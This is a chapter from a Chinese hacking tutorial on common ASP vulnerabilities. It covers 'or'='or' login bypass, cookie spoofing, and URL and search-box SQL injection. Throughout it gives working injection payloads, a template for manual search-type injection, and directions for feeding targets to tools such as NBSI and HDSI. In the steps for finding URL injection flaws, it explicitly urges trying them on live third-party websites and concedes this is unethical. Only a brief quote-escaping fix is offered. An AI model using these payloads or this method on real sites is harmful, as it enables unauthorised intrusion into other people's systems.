当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第七章 ASP程序常见漏洞

优质
小牛编辑
124浏览
2023-12-01

在前面我已经给大家介绍了 ASP 脚本下的各种黑客技术、ASP 各种基础知识以及 ASP环境的搭建。虽然在第二章中,大家已经学会了 ASP 下的各种黑客技术了,但前面的都仅仅局限于工具及手工上,并没有深入到它的本质上。有了前面坚实的基础,所以这一章就开始带领大家如何分析 ASP 代码中存在的各种漏洞的分析及如何利用上去,深入到它的本质上去。

    1. 'or'='or'经典漏洞代码分析

      经典'or'='or'漏洞也叫身份验证登陆漏洞,这是一个比较老的漏洞,不过目前很多系统还是存在这样的漏洞。前面我们已经知道了利用'or'='or'这个漏洞我们就可以顺利的登陆网站后台,那么为什么输入这样的代码就可以进入后台呢?在讲这个漏洞之前我们先来回顾一点点数学知识。就是 AND 和 OR 运算符的运算规则,在第 5 章也讲了,不过为了给大家加深印象,这里还把他们的运算规则列出来。如果在一个关系式里,同时了 AND 和 OR 运算符,就会有一个优先级的问题,如果是相同的逻辑符,则按照从左到右的运算顺序。逻辑运算符 AND 和 OR 的运算优先次序是:先运算 AND 运算符在运算 OR 运算符。

      AND 运算符是对两个表达式进行逻辑“与” 运算,他们的运算式子为: reslut=expression1 AND expression2。其中 reslut 为结果,expression1 和 expression2为任意表达式。表 7-1 就是 AND 的运算规则。

      expression1 的结果

      expression2 的结果

      AND 运算之后的结果

      表 7-1 AND 的运算规则

      OR 运算符是对两个表达式进行逻辑“或”运算,他们的运算式子为:reslut=expression1 OR expression2。其中 reslut 为结果,expression1 和 expression2 为任意表达式。表 7-2就是 OR 的运算规则。

      expression1 的结果

      expression2 的结果

      OR 运算之后的结果

      表 7-2

      OR 的运算规则

      前面我们说了,这个漏洞是发生在登陆口,只有登陆口才会出现这样的漏洞。下面就给大家讲解存在'or'='or'漏洞的后台登陆代码。

      (1)、session

      先来看第一种后台登陆程序,关键代码如下所示: name=trim(request.Form("adminusername"))

      //获得客户端输入的用户名,并过滤用户名两边的空格,并把值赋给 name pass=trim(request.Form("password"))

      //获得客户端输入的密码,并过滤密码两边的空格,并把值赋给 pass

      set rs=server.createobject("adodb.recordset")

      //利用server 对象的 createobject 方法创建 ADO 组件的 RecordSet(游标)对象 sql="select * from admin where name='"&name&"'and password='"&pass&"'"

      //将用户名和密码放入查询语句中查询数据库,这里大家要注意的是在 SQL 语句//中的变量先是用一个单引号,再用一个双引号,最后用一对&包围上。

      rs.open sql,conn,1,1

      //利用RecordSet 对象的方法执行我们前面编写的查询语句 if not rs.eof then

      //rs.eof 表示当前的记录位置位于 RecordSet 对象的最后一个纪录之后,这里//的意思是相反,是位于最后一个记录之前,因为其前面有一个 not

      username=rs("name")

      //将RecordSet 对象的 name 属性赋给 username session("lifeuser")=username

      //将 username 赋给 lifeuser 的session 自定义变量 session.Timeout=10

      //设置 session 的超时时间为 10 分钟 rs.close

      //关闭RecordSet 对象 set rs=nothing

      //释放RecordSet 对象 conn.close

      //关闭连接

      set conn=nothing

      //释放连接

      response.redirect "index.asp?user="&username

      //利用 response 对象的 redirect 方法重定向到"index.asp?user="&username

      上面我已经对每一条代码进行解释了,现在我来整理一下其完整思路:先是得到客户端输入的用户名和密码并过滤两边的空格,然后就查询数据库。如果查询的结果是位于最后一记录之前,那么就将 RecordSet 对象的 name 属性赋给 username。同时设置 session 变量

      lifeuser 的值为username,同时 session 的超时时间为 10 分钟,最后关闭及释放 RecordSet对象和连接,并重定向到"index.asp?user="&username。

      上面的代码可以很好的完成我们的后台登陆,看上去好像没什么问题一样,但实际上确

      出现了很大的安全问题。问题就出在第一句和第二句中,他们的功能是获得客户端输入的用户名和密码并过滤他们两边的空格。注意了仅仅是过滤了两边的空格。这是在编程的时候一个非常大的安全缺陷,它并不会去检查我们输入的数据,也就是说不会检查我们输入的数据中到底是什么东西。如果我们输入了具有某些功能的代码呢?那么它也会不知道,那么就可以实现我们攻击的目的了。所以在编程的时候一定要对输入的参数进行有效的检查。

      因为上面只过滤了空格,所以我们现在的目的就是使 sql="select * from admin where name='"&name&"'and password='"&pass&"'"这条语句执行为真,要达到这个目的就要用到我们的 OR 登陆,只要我们构造一个特殊的用户名,就可以绕过程序的验证,直接达到后台。之所以有 OR 登陆就是因为前面的用户名过滤不严格导致的。在上面的后台登陆代码中我们只要在用户名处输入 1' or 1=1 or '1'='1(不含双引号,以下相同),密码处我输入 123,其实随便输入什么符号都可以,点击登陆就进入后台了。

      上面输入的数据达到我们服务器后就要执行 SQL 查询语句了,这个时候那条 SQL 查询语句就变成了: sql="select * from admin where name='1' or 1=1 or '1'='1'and password='123'"。

      这个时候前面给大家讲的数学知识就派上用场了。现在我们把 where 后的字符用逻辑真假来表示,在逻辑表达中'1'是为假的;1=1 肯定是正确的,所以为真;'1'='1'也是正确的,所以也为真;密码我们是随便输入的,这里我输入的是 123,所以密码是错误的,即它为假,所以他们有了如下的关系:假 or 真 or 真 and 假。

      根据前面的数学基础知识,大家不懂可以去查表。如果一个表达式中,同时了 AND 和

      OR 运算符,就会有一个优先级的问题,如果是相同的逻辑符,则按照从左到右的运算顺序。逻辑运算符 AND 和 OR 的运算优先次序是:先运算 AND 运算符在运算 OR 运算符。所以我们要先运算 AND 运算符,“真 and 假”的运算结果我们可以通过查表得到为假,所以关系就变成了:假 or 真 or 假。现在就剩下了 or 运算符了,按照从左到右的原则。“假 or 真”的运算结果为真,所以现在就剩下了“真 or 假”,查表可以得到它的结果为真。

      所以我们在用户名处输入'1' or 1=1 or '1'='1',密码输入任何字符之后,我们的 SQL查询语句的结果为真了。至于后面的 rs("name")则是因为找不到 1' or 1=1 or '1'='1 这个用户名,而自动转到数据库的最后一条记录,不过这个对我们的攻击并不会受到很大的影响。

      因为上面用到了 session,所以我们还可以用来进行 session 欺骗攻击。假设这个系统的管理员的用户名是 admin,那么只需要在用户名处输入 admin;密码处输入 1' or '1'='1就可以达到 session 欺骗的目的了。当输入上面的代码后,在 SQL 查询语句中就变成了 sql="select * from admin where name='admin'and password='1' or '1'='1'。因为在数据库中存在 admin 的用户,所以 name='admin'为真;password='1'肯定是错误的了,所以为假;'1'='1'是正确的,所以为真。那么在 where 后的语句转换成逻辑表达式后为:真 and假 or 真,通过查表可以知道他们的最后结果也是为真。

      因为系统管理员的用户名是 admin,所以 rs("name")就等于 admin,也就是 username为 admin。那么最后登陆后就会被重定向到 index.asp?user=admin,这样我们就成功的进入了管理员的后台页面了。

      (2)、cookie

      前面我们讲的后台登陆是采用的 session 验证,在 ASP 中还有很多系统采用 cookie来验证。下面来给大家一个采用 cookie 的后台登陆程序,代码如下所示:

      <%set rs=server.createobject("adodb.recordset")

      //利用server 对象的 createobject 方法创建 ADO 组件的 RecordSet(游标)对象

      sql="select * from admin where admin='"&request.Form("username")&"'and pass='"&md5(trim(request.Form("password")))&"'"

      //通过获得客户端输入的用户名和密码来构造查询语句

      //其中密码经过了 md5 加密算法加密 rs.open sql,conn,3,1

      // 执行查询的 SQL 语句 if rs.eof then

      //如果当前的记录位置位于 RecordSet 对象的最后一个纪录之后,则 response.write "<script>alert('密码错误')</script>"

      //弹出一个对话框,显示密码错误

      response.write "<script>history.back(1)</script>"

      //页面返回到前一页 else //否则

      response.cookies("admin")=rs("admin")

      //将 RecordSet 对象的 admin 属性赋给 cookie 变量,实现 cookie 保存 response.cookies("pass")=rs("pass")

      //和上面的功能一样

      response.write "<script>location.href='step1.asp'</script>"

      //跳转到 step1.asp 页面 end if

      rs.close

      set rs=nothing conn.close

      set conn=nothing

      %>

      通过上面的学习,大家应该就可以看到在 SQL 的查询语句中,存在经典的'or'='or'漏洞。在

      sql="select * from admin where admin='"&request.Form("username")&"'and

      pass='"&md5(trim(request.Form("password")))&"'"中,用户名没有经过任何的过滤就进行查询了,而密码先经过过滤两边空格然后进行 md5 加密。和上面不同的是,因为这里的密码用了加密系统,所以我们的密码在数据库中都会被转换成密文,所以密码是无法利用的。不象上面一样,密码我们也输入攻击代码,这里确不可以,也就说这里只有用户名我们有利用价值,不过这已经足够了。

      在用户名中我们输入 or'='or,密码随便输入什么字符,那么 where 后的语句转换成逻辑语句后为:假 or 真 or 假and 假,通过查表就可以得到结果为真。因为结果为真,所以系统会将 admin 和pass 作为 cookie 保存起来,并跳转到 step1.asp,这样我们就进入了后台。 (3)、总结

      不管系统的后台采用的是 session 还是 cookie,它都要获得我们客户端输入的用户名和密码。如果系统没有对我们输入的用户名和密码进行全面的过滤,仅仅是过滤了两边的空格或者根本没有过滤任何字符,就进行我们的数据库查询。那么这个登陆页面就存在

      'or'='or'(身份验证)漏洞。要成功实现攻击这个漏洞要利用到 or 和 and 运算符,利用他们的组合使得 SQL 的查询语句执行之后的结果为真,那么这样就可以成功的进入后台。关键就是要使 SQL 查询语句的执行结果为真。

      关于这个漏洞的修补很简单,因为不管怎么构造出的攻击代码都含有单引号,所以我

      们只要把单引号过滤就可以完全防御这个漏洞了。在过滤单引号的时候最好是把单引号转换成两个单引号,过滤代码如下所示: name=Replace(trim(request.Form("adminname")),"'","''")

      pass=Replace(trim(request.Form("password")),"'","''")

    2. cookies欺骗漏洞代码详细分析

      在前面已经为大家演示了如何利用工具进行 cookie 欺骗,然后进入后台。

      现在我们从程序的角度上来学习如何挖掘代码中存在的 cookie 欺骗漏洞。还是以第二章中的那个心情网络投票系统来举例。

      我们先来看看在心情网络投票系统中系统是如何得到 cookie 的,它的程序其实就上上一节中采用 cookie 验证的那个例子,代码这里不在列举出来了,可以参考上面的。

      在上面的代码中,有样的两行代码: response.cookies("admin")=rs("admin") response.cookies("pass")=rs("pass")

      当登陆用户的名称及密码正确,程序就会在该用户的 cookies 中增加 admin 和 pass 这两项。他们就是系统给登陆用户赋予的 cookie 值,采用 cookie 当然是为了方便我们以后登陆。那么在以后的登陆过程中它是怎么验证的我们的 cookies 值,实现验证的过程在 check.asp文件中,代码如下所示:

      <%if request.cookies("admin")="" or request.cookies("qx")="" then response.write "<script>alert('你还未登陆,请登陆!');</script>" response.write "<script>location.href='index.asp';</script>" response.end

      end if%>

      仔细看第一行代码:request.cookies("admin")="" or request.cookies("qx")=""。它的意思是如果 request.cookies("admin")中的值和 request.cookies("qx")中的值同时为空的话,那么就弹出一个对话框显示“你还未登陆,请登陆”并返回到 index.asp 页面去。这行代码存在很大的逻辑问题,如果我们 request.cookies("admin")的值不为空呢;或者

      request.cookies("qx")的值不为空呢;或者他们两个的值都不为空呢,那么不就不会输出错误了吗?也就成功的进入了后台了。

      所以我们只需要在验证的时候使 request.cookies("admin")和 request.cookies("qx")中的值不同时空,要使他们不为空,我们用桂林老兵修改一下他们的 cookie 值就可以了,至于他们的值为多少就无所谓,重要的是要保证他们不为空就可以了,那么这样就可以成功的进入后台。

      其实,分析 cookie 欺骗的代码很简单。之所以会出现这样的漏洞是因为他们在逻辑上考虑不严格而导致的。例如下面的代码也是典型:

      if request.cookies("username")="" then

      //判断 cookie 中的 username 是否为空 response.redirect "login.asp"

      //为空就转向 login.asp end if

      if request.cookies("password")="" then

      //判断 cookie 中的 password 是否为空 response.redirect "login.asp"

      //为空就转向 login.asp end if

      if request.cookies("randomid")<>4790 then

      //判断cookie 中的randomid(验证码)是否为 4790 response.redirect "login.asp"

      //不等于就转向 login.asp end if

      程序判断从客户端获得的用户名和密码是否为空,如果有一个为空,就转向 login.asp,最后还判断验证码是不是 4790,如果不是也转向 login.asp 去所以要对它进行 cookie 也很简单,只需要使用户名和密码不为空且验证码为 4790 就可以达到欺骗的目的了。

      所以要分析程序中存在的 cookie 欺骗漏洞,逻辑思维比较重要,同时逻辑运算符一定要学好,至于逻辑运算符在 7.1 节已经给大家列举了两个表,没事的时候多看看那两个表,对你绝对是有好处的。

    3. SQL注入漏洞(SQL Injection)

      在前面的注入攻击中,特别是在手工注入的过程中。大家都知道就是输

      入一些 SQL 代码,然后系统执行我们的代码,使得我们得到一定权限,从而危害系统。那既然这些代码会危害我们的系统,为什么我们还可以输入代码呢?说到底就是系统对我们输入的数据没有得到有效的过滤,这也是注入漏洞出现的本质原因。

      寻找系统中的注入漏洞就是要找到系统中哪些从客户端获得的变量(参数)没有过滤或过滤不完全,如果有这样的过滤不完全的参数的话,那么就存在漏洞了。下面的代码就是存在典型的注入漏洞:

      id=request.Form("id")

      set rs=server.createobject("adodb.recordset") sql="select * from admin id="&id

      rs.open sql,conn,1,1

      参数 id 在从客户端得到数据后就直接进入了 sql 语句中,之后就进行查询了。没有对参数 id 进行任何的检查和过滤就进行数据库操作,漏洞被完完全全暴露出来了。因为系统没有检查和过滤参数 id,所以我们可以在 id 中输入任何的数据。

      假设我们的id 等于 3,那么正常的情况下,我们输入 3 时到了数据库查询的时候就变成了:select * from admin id=3。可是我们要进行注入攻击,就当然不是仅仅输入 3 了。例如我们输入 3 and 1=1,则就变成了:select * from admin id=3 and 1=1,因为select

      • from admin id=3 和 1=1 都是正确的,所以执行 and 运算后结果也是为真,所以返回正确;而当我们输入 3 and 1=2 时,就变成了:select * from admin id=3 and 1=2,因为 select

      • from admin id=3 是正确的,而 1=2 是错误的,通过查表 7-1 可以知道,整条语句执行后的结果就是为假的,那么返回的页面就是错误的了。这也是为什么我们可以用 and 1=1 和 and 1=2 来判断是否存在注入漏洞的原因了。

        因为参数 id 没有过滤,我们可以做很多事。例如得到管理员的密码、当前数据库的用户名和权限、甚至是一个 webshell。对于这些攻击其实就是我们的手工注入攻击的步骤了,

        那些攻击已经在第 2 章讲的很清楚,如果还对这些具体的攻击步骤有不清楚的地方,可以到前面去参考,这里的主要目的是让大家如何挖掘代码中存在的漏洞。

        虽然注入攻击可以千变万化,但是从程序的角度来讲都是因为参数(变量)的问题。在一个系统中,参数会以很多种的形式存在,所以注入也就有很多种形式了,不同形式的参数在进行分析的时候会存在一些差异。而这一节我将带领大家如何从代码中寻找各种比较常见的注入漏洞。

        1. 在URL中的注入漏洞代码分析

          URL 是定位一个网站中的资源的唯一标志,在一个网站的 URL 中,大部分都存在参数,例如 http://www.xxx.com/index.asp?id=2,它就存在 id 这个参数。还有很多网站的 URL中还存在多个参数,如采用 get 方式提交数据时。

          前面在用工具进行注入的时候,我们注入地址都是网站的网址。之所以这个网址存在注入漏洞是因为网站中的参数没有得到有效的过滤。URL 中存在注入漏洞是目前最为普遍的,危害相对来说也是最大的。因为不管你只要懂得用注入工具就可以进行入侵了,刚入门的菜鸟朋友最喜欢那样的了。

          而这一节就教大家如何寻找 URL 中存在的注入漏洞,要寻找 URL 中的漏洞首先就是要确定其 URL 中有哪些参数,如在 http://localhost/news.asp?id=7 中的参数为 id,其值为 7,而且这个参数 id 是存在于 news.asp 这个文件中。所以接下来我们就是要在 news.asp文件中找出 id 参数的值在服务器端是如何被处理的,下面就是 id 在 news.asp 文件中处理的代码。

          <title><%=webname%>--查看新闻</title>

          <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

          <link href="inc/css.css" rel="stylesheet" type="text/css">

          </head>

          <body leftmargin="10" topmargin="10" marginwidth="0" marginheight="0">

          <%dim newsid

          newsid= request.QueryString("id") //获取从客户端中输入的 id 值 set rs= server.CreateObject("adodb.recordset") / /建立一个 recordset 对象 rs.open "select * from wq_news where newsid="&newsid,conn,1,3

          //直接取得参数后就进行数据库查询工作,没有进行任何过滤,注入漏洞出现

          news.asp 文件中的 id 的值在从客户端得到之后就赋值给了 newsid,而这个 newsid 确没有经过任何的过滤就执行了查询数据库操作了,这正是我们的经典漏洞所在。同时这个

          id 是在 URL 中的,所以用它来注入非常的方便。如图 7-1 和图 7-2 就可以确定其存在注入漏洞,剩下的事情就是交给工具了。

          image

          图 7-1 输入and 1=1 后返回正常

          image

          图 7-2 输入and 1=2 后返回正常

          前面的例子中的参数 id 是没有经过任何的过滤就进行数据库查询了,这种漏洞目前国内的一些比较小而且名气不大的系统中还是普遍存在的。但是在一些安全性稍微高一些的系统中就很难找到这样的傻瓜漏洞了,它们都会对 URL 中的参数进行过滤。典型的代码有:

          <!--#include file="include/function.asp" -->

          //引用 function.asp 文件,因为要使用其中的 CheckStr()函数

          ............

          ...............

          Id=trim(Request.Form("id"))

          //获得客户端中输入的 id 值并对其两边的空格过滤 Cid=CheckStr("Id")

          //利用function.asp 文件中的 CheckStr()函数对参数 Cid 进行安全过滤 set rs=server.CreateObject("adodb.recordset")

          sql="select * from wq_news where newsid="&Cid rs.open sql,conn,3,1

          一般安全的代码就是像上面的一样,在得到客户端的数据后对其进行各种安全检查,这里我们用CheckStr()函数来完成这个工作。因为CheckStr()函数在function.asp 文件中,所以在文件的开始要用<!--#include file="include/function.asp" --> 来完成对 CheckStr()函数的引用。

          当然上面的代码也不一定就很安全了,上面的程序只是一种安全的编程思想。以前我就碰到过一个这样的系统,它也对客户端的参数进行了安全过滤,但是它并没有过滤完全,它是这样的过滤,CheckStr()函数是这样编写的:

          Function CheckStr(Chkstr)

          IF isnull(Chkstr) Then //检查参数是否为空 Chkstr = ""

          Exit Function End IF

          CheckStr=Trim(replace(Chkstr,"'","''")) CheckStr=Trim(replace(Chkstr,"1=1","")) CheckStr=Trim(replace(Chkstr,"1=2",""))

          End Function

          虽然上面对参数过滤,但是仅仅过滤了单引号、1=1、1=2。所以它这里过滤也是白费工夫,因为我们仍然可以对它进行注入攻击,可以轻易的绕过它的过滤防线。

          如果我们要寻找一个系统的 URL 中的注入漏洞的思路是这样的:

          ①、准备一套系统,并在本地把它的环境搭建好,用于在本地进行测试。如果网络上有使用这个系统的网站,最好还是网站来做试验,虽然这样有点不道德,但是可以增加我们的实战经验。

          ②、寻找 URL 中的参数。我们有两个办法,一是浏览网站的时候把 URL 中的参数记录下来,二是分析系统中的代码,从代码中找出 URL 中的参数。从代码中找 URL 的参数有一个小技巧,就是代码中查找关键字“href”。大家学过了 HTML 应该知道这个关键字是用来做链接用的,所以使用它的地方就一定是URL。如图7-3 所示,我利用记事本的搜索功能搜索代码中的href关键字,得到了一些 URL 的连接及参数 lid。

          image

          图 7-3 利用关键字 href 搜索代码中的 URL 地址,并得到参数 lid

          ③、查找 URL 中的参数是如何被处理的。在第二点中我们找到 URL 中的参数,那么接下来就是要在代码中查找这些的参数是怎么被处理的,也就是看这些参数有没有被过滤掉。如果没有过滤那么就发现了漏洞,如果过滤了,那么我们也要看过滤他们的那个函数是如何编写的,例如前面那个 CheckStr()函数就是过滤用的,但是它只是过滤了单引号,所以我们仍然可以突破。在图 7-3 中我们查找到了 URL 中的一个 lid 的参数,那么接下就是要在代码中搜索代参数 lid,看它是怎么得到的,有没有被过滤,结果如图 7-4 所示,参数 lid 只是被过滤了单引号就被放入了数据库的操作中去了,所以就出现了注入漏洞。就这样我们轻易的发现了一个系统中的 URL 存在的注入漏洞,很方便吧。

          image

          图 7-4 查找URL 中的参数 lid 是如何被获取的

          ④、如果我们在第三点中发现 URL 中参数的注入漏洞,那么最后我们就是要进行注入攻击了,具体的攻击步骤及技术在第 2 章已经讲的很详细了,这里不在重复。不过有一点还是大家最好工具攻击吧,因为系统的代码我们已经得到了,其数据库中的字段、表段及后台等信息我们都是已知的,所以在工具中把这些信息添加进去后进可以很快攻破这个系统。

        2. ASP中的搜索型注入漏洞代码分析

          经常留意网站结构的朋友应该可以发现,现在不管是大网站还是小网站都差不多都提供了一个搜索的功能。利用它我们可以很快找到网站中的各种资源,非常的方便。它要实现搜索的这个功能肯定是要利用的 SQL 中的 SELECT 语句。搜索一般都是利用关键字来查询,而搜索的结果就是含有这些关键字所有信息,这就是我们 SQL 语句中的模糊查询。对于要实现模糊查询就要用到 LIKE 操作符及其通配符,最常用的通配符是%。对于模糊查询的更多内容,如果大家印象还不深刻的话,可以去参考第 5 章中的 5.4.2 节中模糊查询的基础内容,在那里我已经对模糊查询做了很详细的介绍。

          在注入的方式上主要有数字型和字符型。大部分人只注意到数字型的注入攻击,比如上一节中我们的 URL 中的注入就是比较典型数字型注入方式。而字符型注入相对来说关注的人少一些,其实同样的,字符型注入也是光芒四射,典型的有我们的搜索型注入。因为是搜索功能,所以很多程序员在编写这里的代码的时候,都忽略了对其参数进行过滤,所以存在了注入漏洞,而且这样的漏洞在国内的系统中非常的普遍。利用搜索功能来进行注入我们可以称其为搜索型注入攻击。

          大部分系统中实现搜索功能的文件,其文件名为 search.asp。所以大家如果要寻找搜索型注入漏洞,首先就是要看系统有没有这个文件,一般情况下是有的,如果没有,我们还可以搜索系统的首页查找关键字“搜索”也可以找到,因为只要系统中有搜索功能,那么在首页中是肯定存在,如图 7-5 所示。

          image

          图 7-5 在首页中查找“搜索”关键字

          找到搜索关键字后就是要看实现搜索功能的这个表单是被哪个文件链接的,这里有个小技巧就是先找出实现搜索功能的这个表单,可以寻找搜索关键字前的第一个<form>标记,可以这样实现:先把鼠标指针放在搜索关键字处,然后选择搜索,并且搜索的方向选为“向上”如图 7-6 所示,而搜索的关键字为“<form”。我们利用它搜索到的第一个结果就是处理我们搜索的表单,如图 7-7 所示。找到之后,可以看到<form>标记中的 action 属性是哪个文件,而这个文件就是实现处理搜索功能的文件,如图 7-7 所示。这里提示一下:系统的首页的名字一般为 index.asp 或 defaute.asp;在记事本中,要实现搜索功能,点击菜单栏中的“编辑”菜单,然后选上“查找”选项就可以了。

          image

          图 7-6 搜索方向改为“向上”

          image

          图 7-7 利用<form 关键字搜索表单,action 的值为处理搜索的文件

          因为搜索型注入比较特殊,用它来进行注入攻击和普通的攻击有一些不同。而且在前面也未提及这种攻击方法,而且在前面也未介绍其攻击的具体步骤,所以这里就简单给大家介绍一下,如何利用它来进行攻击。

          下面我们来看看在源程序中,最为常见的搜索功能的代码如下所示:

          <%

          ......

          ..............

          keyword=trim(request.From("keyword")) //获得客户端要查询的关键字 if keyword="" then

          response.write "<script language=javascript>alert('查询内容不能为空!');history.back(-1);</script>"

          response.end //处理关键字为空的代码 end if

          set rs=server.CreateObject("ADODB.recordset")

          sql="select * from b_class where b_name like '%"&keyword&"%' order by id desc" rs.open sqls,conn,3,1 //利用搜索关键字进行查询

          if rs.eof then

          response.write "<tr><td><font color=#ff0000>Sorry,您所查找的内容不存在~</font><

          /td></tr>"

          ........

          ..............

          %>

          可以看到上面的代码,我们要搜索的参数只过滤两边的空格,并没有过滤这个参数的其他东西,所以这里也有注入漏洞。不过在上面的 SQL 查询语句中,因为使用的是模糊查询,和我们平时所使用的查询语句有一些不同,不过我们仍然可以利用,下面就开始我们的攻击介绍吧!

          在上面的代码我们也看到,实现搜索的查询功能和一般的查询有一些不一样。这里在整理一下这条 SQL 查询语句,它一般是这样写的:Select 相应的字段 from [表名] where 搜索条件 Like '%keyword(关键字)%'。这里使用的是Like 操作符加上单引号实现的模糊查询,而且大部分搜索功能都是这样的,就算有什么区别,它们的原理也是一样的。

          我们知道如果 keyword(关键字)没有过滤的话,那么就会出现注入漏洞。我们可以这样来进行注入攻击,如科技%'and 1=1 and '%'='。此时查询语句变成了 Select 相应的字段 from [表名] where 搜索条件 Like '%科技%'and 1=1 and '%'='%'。这样就搜索出很多与科技相关的资料,而当我们把 1=1 改成 1=2 的时候返回的页面就是空白。我们来说说为什么会这样,看看 Like 后面的字符'%科技%'and 1=1 and '%'='%',把它转换成逻辑运算符为:真 and 真and 真,那么它的结果也就为真,所以可以返回我们要搜索的资料,如图 7-8 所示。而当我们把 1=1 换成 1=2 后,就变成了'%科技%'and 1=2 and '%'='%',即真 and 假 and 真,所以结果也就为假,那么就什么也搜索不到,结果当然是返回错误了,如图 7-9 所示。

          image

          图 7-8 输入科技%'and 1=1 and '%'='后搜索出结果

          image

          图 7-9 输入科技%'and 1=2 and '%'='后搜索结果没有

          对于搜索型的如果我们要手工注入其实也挺好办的,我们只需要在搜索的输入框中输入:[搜索关键字]%'and [注入攻击代码] '%'='。搜索关键字就是要我们要搜索的关键字,如前面的“黑客”就是搜索关键字。不过这个关键在选择上也是有一定讲究的,我们选的关键字一定是要在这个网站中可以搜索的到,如果这个关键字在网站中搜索不到资料,那么这个关键字就不可以用来做为我们注入的关键字。

          而对于“注入攻击代码”就是我们要进行手工注入的代码,这里我用中括号把它括起来了,目的是方便大家理解。这里的注入攻击代码和我们在 URL 中所使用的注入代码是一样的,比如我们要判断网站后台的数据库类型,那么我们输入:

          '%黑客%'and user>0 and '%'='%'就可以了。和上面唯一改变的就是中间的注入攻击代码。所以我们在搜索中进行注入攻击的话,只需要改变中间的代码,其他的不变即可,在第二章已经给大家详细介绍了手工进行注入攻击的步骤了,这里不在重复。

          对于喜欢偷懒的黑友来说,工具可谓是最方便的了。而我们大名鼎鼎的 NBSI 和 HDSI都提供了对搜索型注入漏洞的注入,只要我们得到了搜索页面的 URL 地址,那么就可以用他们来进行工具注入了,非常的方便。

          前面在讲 ASP 基础的时候,已经给给大家介绍了 GET 和 POST 这两种提交数据的方式,不知道大家有印象没?如果没有可以参考第 6 章的 6.2.1 节。我们在通过 GET 方式提交数据的时候,所有的参数及值都是放入了 URL 中,成为 URL 的一部分,例如百度在搜索的时候就是采用的这种方式,如我们搜索“黑客手册”,就可以看到“黑客手册”在经过编码后放入到了 URL 中(黑客手册经过编码为%BA%DA%BF%CD%CA%D6%B2%E1),在这个 URL 中,通过“?”、

          “&”将多个变量和值连在一起,这个 URL 是传输搜索关键字“黑客手册”,而 cl 的值为 3,如图 7-10 所示。

          image

          图 7-10 百度采用 GET 方式提交数据

          对于采用 GET 方式提交的搜索,我们只需要把其 URL 中填入工具中即可进行注入攻击了。不过需要注意的是填入的 URL 中搜索的关键字一定要填入,而且是能够搜索到的关键字,如图 7-11 所示。

          image

          图 7-11 若采用 GET 提交数据,用工具的注入

          还有很多网站在搜索的时候是采用 POST 提交数据的,采用 POST 提交数据的话,那么我们提交的数据在 URL 地址栏中是看不到。它将表单中的数据放在 FORM 的数据体中,按照变量和值相对应的方式传递到 action 所指的 URL。相对于 GET 提交方式,POST 的隐藏性要强很多,所以就更多人忽略了它的安全,这也是所谓的“隐藏式的搜索型注入点”。

          对于采用 POST 提交数据的搜索页面要实行注入攻击的话,首先就要我们自己动手来查找出隐藏变量并赋予正确的值并正确构造出注入 URL,剩下的事情就交给工具了。

          这里我找到一采用 POST 提交数据的网站,在搜索输入框中输入计算机%'and 1=1 and

          '%'=',所有符合的页面都会搜索出来。在把“1=1”改成“1=2”显示的空白页。如果变量少的话,我们可以自己找出其中的变量并赋上相应的值,然后把值手动变成这样的形式:

          http://www.xxx.com/search.asp?value1=值&value2=值&keyword=计算机。这样才能够把该地址填入到注入工具的地址栏里,让工具替我们工作。

          如果变量很多的话,我们还只能手动抓包来实现了,实现抓包有一个很好的工具叫

          WsockExpert,使用它可以检测出我们计算机当前所有的进程信息及提交数据的变化。打开

          WsockExpert,单击工具条里的“打开进程”按钮,会出现一个进程列表,选择该网站的 IE进程,点击打开就可以监视我们提交的数据了,如图 7-12 所示。选取 POST 抓取的数据包,如图 7-13 所示。有的网站搜索的参数比较多,如果太多了的话,注入工具 NBSI 在这方面处理的不是很好,所以参数很长很多的话,最好用 HDSI,这个它处理的比较。

          image

          图 7-12 选择要监听的进程

          image

          图 7-13 POST 提交时的数据

          在图 7-13 中,所有的变量都在一起了,而我们要做的就是把他们放在网站的 URL 地址之后,把他们组合成 GET 提交数据时的那种形式,在用工具进行攻击了。

          在这一节中,为大家讲解了搜索型的注入攻击,因为搜索采用的是模糊查询,所以和其他注入攻击方式有一点不同,如果要进行手工注入的话,只需要采用“[搜索关键字]%'and [注入攻击代码] '%'='”就可以顺利完成手工注入。如果采用工具的话又分为 GET 和 POST。如果是采用 GET,则直接利用搜索后的 URL 放入工具中就可以注入攻击了;如果是 POST,则需要抓包得到其变量及其值,然后组合成一个完整的 URL,最后在用工具进行入侵。

        3. 文本框输入内的注入代码分析

          文本框在我们的 Web 系统中非常的普遍,它的主要的功能是给我们输入数据。既然是有数据输入,那么肯定要和服务器进行交互了。即有数据在浏览器和服务器之间传递,根据我们前面的经验,只要有数据交互,如果没过滤的话,就会出现安全问题。因为文本框在系统中并不起眼,所以很多程序员忽视了它的存在,就算有一些程序员意识到了这个问题,可以一个系统中那么多的文本框,经常使得他们力不从心,所以文本框也是一个出现漏洞比较频繁的地方。

          相信大家在进入论坛看帖子的时候都注册过会员了。在我们注册会员的时候需要我们填入一大堆的个人信息,填好了之后提交就可以了,而且现在大部分网站在进行注册会员的时候都不允许出现两个相同的用户名或电子邮件,如图 7-14 所示。

          image

          图 7-14 论坛注册页面

          要实现这个功能首先要编写一个表单,然后在表单中编写很多文本输入框。当我们点击提交按钮的时候我们在输入框中输入的数据都被传送到了服务器端了。我们来看看存在文本输入框的 ASP 代码,看文本框中的的客户端代码,这里的主要目的为了得到不同的文本输入框的 name 属性的值,因为服务器端是靠这个属性来识别不同的文本输入框,查找系统中文本输入框的漏洞,第一步就是确定不同文本输入框的 name 属性的值:

          用户名: </td>

          <td bgcolor="#FFFFFF"><input name="UserName" type="text" id="UserNa me" size="10" maxlength="10" onChange="rgname();">

          //用户名输入框的 name 属性为 UserName

          .........

          密码: </td>

          <td bgcolor="#FFFFFF"><input name="Password" type="password" id="Pa ssword" size="20" maxlength="20" onkeyup="CheckTextContentWithLimit

          //密码输入框的 name 属性为 Password

          ..........

          >确认密码:</td>

          <td bgcolor="#FFFFFF"><input name="PasswordR" type="password" id="P asswordR" size="20" maxlength="20">

          <input name="Email" type="text" id="Email">

          &nbsp;<b><font color="#FF0000">*</font></b> 请输入真实的电子信箱地址。</td> //电子邮件输入框的 name 属性为Email

          从上面,我们可以确定用户名的值为 Username,密码为 Password,电子邮件为 Email。确定了这些信息后就可以分析服务端,看看这些是如何被处理的。不过这里还要告诉大家一个寻找文本输入框 name 属性的小技巧:首先打开存在存在文本输入框的网页,查看它的源文件。然后利用记事本的搜索功能搜索关键字“<input”,如图 7-15 所示。

          image

